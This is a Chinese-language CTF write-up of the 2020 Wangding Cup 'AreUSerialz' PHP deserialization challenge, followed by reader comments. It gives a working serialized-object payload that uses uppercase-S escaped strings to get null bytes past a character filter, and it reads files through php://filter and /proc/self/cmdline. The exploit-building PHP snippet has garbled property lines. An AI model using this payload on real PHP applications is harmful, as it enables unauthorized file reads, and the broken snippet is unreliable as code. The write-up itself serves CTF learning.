2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup
0x02 AreUSerialz
关于s大写小写问题,可以看p神在圈子里发的,我在最后付上截图
考点: php反序列化 php特性 利用链构造
1.打开页面得到代码如下:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
-
2.简单看下代码,反序列化操作,protect里面可控:
-
01.自己构造一下利用链,主要是绕过 is_vaild 函数,它规定了序列化内容中只能包含ascii可见字符,如果出现其他的字符则会返回false
-
02.因为构造成功的内容中,肯定会包含%00,因为类型是protect类型,要给添加标记,主要坑点在这,绕过这个的限制
-
03.我们构造利用链,输出序列化内容,我们自己构造exp,直接读不知道为啥读不到,相对路径的问题???,比赛就用伪协议读一下:
<?php
highlight_file(__FILE__);
class FileHandler {
protected $op=2;
protected $op=filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";
protected $op=loecho;
}
$FileHandler = new FileHandler();
$test = serialize($FileHandler);
echo $test;
-
04.先得知道路径,我们通过 /proc/self/cmdline 知道配置文件路径 /web/config/httpd.conf,通过配置文件知道目录的路径/web/html
-
- 直接读一下Flag
运行结果如下:
得到序列化数据:
- 04 修改下Payload,主要是 %00,进行标记,然后进行Protecte绕过,改为 16进制\00\00或者空格,绕过字符限制
O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:10:"\00*\00content";s:6:"loecho";}
- *
str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";S:6:"loecho";}
1. Paylaod打过去,看结果:
- 我们使用伪协议读的,Base64解码一下:
相关资料:
01. 在线复现: https://buuoj.cn/challenges
02. 反序列化基础: https://bealright.github.io/2019/08/12/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0(%E4%B8%80)/
评论15次
当时比赛 这题越看越蒙然而问题出在s小写上
应该用不着伪协议吧,测试直接读可以,只不过要看源码,<?php $flag="" 这被当标签隐藏掉了,看源码即可,
这个"字母s为小写时,会被拦截"是啥意思啊?
因为后面的\00\00是十六进制,换成大写才不会错误,小写的话会错误……
如果小写的话,他会变成三个字符呀
谢谢啦,晚上刷知乎看到了,大写是escaped binary string...我查了一个老旧的手册。。。难怪没找到。
这一届MISC比较多。。。
关键点 反序,大S
这个"字母s为小写时,会被拦截"是啥意思啊?
小写s要加 ,ascii为0会被过滤
这个"字母s为小写时,会被拦截"是啥意思啊?
因为后面的\00\00是十六进制,换成大写才不会错误,小写的话会错误……
我在手册里没有查到这个大写的S和小写的s的区别。大写和小写的区别就是支持16进制嘛?这个咋发现的啊。
如果小写的话,他会变成三个字符呀
这个"字母s为小写时,会被拦截"是啥意思啊?
因为后面的\00\00是十六进制,换成大写才不会错误,小写的话会错误……
我在手册里没有查到这个大写的S和小写的s的区别。大写和小写的区别就是支持16进制嘛?这个咋发现的啊。
……因为只有大写才能\00解析成 呀
这个"字母s为小写时,会被拦截"是啥意思啊?
因为后面的\00\00是十六进制,换成大写才不会错误,小写的话会错误……
我在手册里没有查到这个大写的S和小写的s的区别。大写和小写的区别就是支持16进制嘛?这个咋发现的啊。
这个"字母s为小写时,会被拦截"是啥意思啊?
因为后面的\00\00是十六进制,换成大写才不会错误,小写的话会错误……
这个"字母s为小写时,会被拦截"是啥意思啊?
相对路径读不到是因为对象是在php运行结束之后destruct的,这时候工作目录不在脚本所处的工作目录
懂了,谢谢师傅,学到了
相对路径读不到是因为对象是在php运行结束之后destruct的,这时候工作目录不在脚本所处的工作目录
filejavad的WP能分享吗?整懵了让这个filejava
有的,下一篇文章
filejavad的WP能分享吗?整懵了让这个filejava